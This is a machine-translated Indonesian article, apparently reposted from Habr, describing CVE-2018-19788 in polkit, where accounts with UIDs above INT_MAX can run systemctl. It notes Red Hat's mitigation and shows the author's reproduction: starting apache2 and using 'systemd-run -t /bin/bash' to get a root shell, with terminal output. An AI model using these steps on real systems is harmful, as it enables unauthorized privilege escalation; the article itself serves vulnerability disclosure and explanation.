Pengguna Linux yang tidak terjangkau dengan UID> INT_MAX dapat menjalankan perintah apa pun

Duduk, saya punya berita yang mengejutkan Anda sekarang ...

Sistem operasi Linux memiliki kerentanan yang tidak dapat disembunyikan yang memungkinkan pengguna dengan hak istimewa rendah untuk diotorisasi untuk menjalankan perintah systemctl (dan bahkan menjadi Penerjemah root - approx.) Jika UID-nya lebih dari 2147483647.

gambar

Kerentanan yang dijelaskan, dilacak sebagai CVE-2018-19788, ada di perpustakaan PolicyKit (juga dikenal sebagai polkit ) versi 0.115, diinstal pada sebagian besar distribusi Linux yang populer, termasuk Red Hat, Debian, Ubuntu, dan CentOS. Polkit adalah alat pada sistem mirip UNIX yang digunakan untuk mendefinisikan kebijakan dan menyediakan proses istimewa dengan akses istimewa. Tidak seperti sudo, itu tidak memberikan hak istimewa administrator proses pengguna, tetapi memungkinkan Anda untuk secara tepat mengontrol apa yang diizinkan dan apa yang dilarang.

Kerentanan ini disebabkan oleh kesalahan dalam memeriksa permintaan PolicyKit untuk hak setiap pengguna dengan UID lebih besar dari INT_MAX. Di mana INT_MAX adalah konstanta yang menyimpan nilai maksimum variabel integer dari tipe integer, yaitu 2147483647 (dalam 0x7FFFFFFFF heksadesimal).

Jadi, jika kita membuat akun dengan UID apa pun yang melebihi INT_MAX, komponen PolicyKit akan berhasil menjalankan perintah systemctl.

Peneliti keamanan Twitter Rich Mirch, yang memperkenalkan dirinya sebagai " 0xm1rch, " merilis eksploitasi proof-of-concept (PoC) untuk berhasil menunjukkan kerentanan yang membutuhkan pengguna dengan UID 4.000.000.000.

Red Hat merekomendasikan agar administrator sistem tidak mengizinkan UID negatif atau UID lebih besar dari 2147483646 untuk mengatasi masalah sebelum tambalan dilepaskan.

Beberapa metode operasi dari penerjemah


Cara pertama adalah melalui systemctl. Saya membuat pengguna dengan UID besar, lalu mencoba menjalankan apache2:

1) pertama-tama memeriksa apakah dia berbohong

$ systemctl status apache2 ● apache2.service - The Apache HTTP Server Loaded: loaded (/lib/systemd/system/apache2.service; disabled; vendor preset: Drop-In: /lib/systemd/system/apache2.service.d └─apache2-systemd.conf Active: inactive (dead) 

2) mencoba memulai, tetapi mendapat kesalahan

 $ systemctl start apache2 (process:2820): GLib-GObject-WARNING **: 00:42:35.586: value "-2147483646" of type 'gint' is invalid or out of range for property 'uid' of type 'gint' ** ERROR:pkttyagent.c:175:main: assertion failed: (polkit_unix_process_get_uid (POLKIT_UNIX_PROCESS (subject)) >= 0) 

3) tetapi kemudian memastikan bahwa itu masih dimulai

 $ systemctl status apache2 ● apache2.service - The Apache HTTP Server Loaded: loaded (/lib/systemd/system/apache2.service; disabled; vendor preset: Drop-In: /lib/systemd/system/apache2.service.d └─apache2-systemd.conf Active: active (running) since Tue 2018-12-11 00:42:35 +04; 2s ago Process: 2825 ExecStart=/usr/sbin/apachectl start (code=exited, status=0/SUCCE Main PID: 2829 (apache2) Tasks: 55 (limit: 4526) CGroup: /system.slice/apache2.service β”œβ”€2829 /usr/sbin/apache2 -k start β”œβ”€2830 /usr/sbin/apache2 -k start └─2831 /usr/sbin/apache2 -k start 

Cara kedua adalah menjalankan bash melalui systemd. Saya menjalankan perintah berikut, membuat dokumen teks di root fs, menambahkan baris ke sana, dan memeriksa hasilnya

 $ systemd-run -t /bin/bash (process:3947): GLib-GObject-WARNING **: 01:24:30.023: value "-2147483646" of type 'gint' is invalid or out of range for property 'uid' of type 'gint' ** ERROR:pkttyagent.c:175:main: assertion failed: (polkit_unix_process_get_uid (POLKIT_UNIX_PROCESS (subject)) >= 0) Running as unit: run-u107.service Press ^] three times within 1s to disconnect TTY. # echo hello > /test.txt # cat /test.txt hello 

Saat bereksperimen di ubunt saya, saya juga menemukan pola seperti itu: jika di bawah pengguna dengan UID pergi ke pengaturan akun, maka semua pengaturan tidak terkunci, yang memungkinkan Anda untuk mengedit / menghapus pengguna.

Pertanyaannya tetap, bagaimana sekarang untuk "menyebabkan" penampilan pengguna dengan UID di host korban, dan apakah bug ini benar-benar ancaman?

Source: https://habr.com/ru/post/id432610/


All Articles